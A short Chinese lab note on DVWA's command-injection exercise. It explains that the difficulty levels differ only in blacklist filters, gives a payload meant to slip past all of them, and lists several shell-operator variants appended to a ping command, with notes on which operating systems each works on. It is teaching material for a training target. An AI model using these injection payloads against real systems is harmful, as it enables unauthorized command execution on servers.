DVWA 低中高级别只不过对过滤字符串设置不同而已(都采用黑名单),考虑网站可能部署在不同操作系统,所以直接提供最通用的方式:2>&1|whoami(高级中过滤了|,注意不能带空格),不同级别不同部署环境均可执行,且过滤掉不需要的输出。
    image.png
    其他可测试命令及优缺点举例

    1. # `ping -c 4 ` 是代码中用来拼接命令字符串的前半部分,后面为提交的输入
    2. ping -c 4 127.1 && whoami # 有其他输出,且最容易被过滤
    3. ping -c 4 127.1 & whoami # 在 Linux 下不适用:& 是作为后台执行的
    4. ping -c 4 127.1 ; whoami # 在 Windows 下不适用:; 不是命令分隔符
    5. ping -c 4 || whoami # 有其他输出
    6. ping -c 4 `whoami` # 在 Windows 下不适用:没有命令替换操作
    7. ping -c 4 $HOME # 返回 $HOME 变量值,在 Windows 下不适用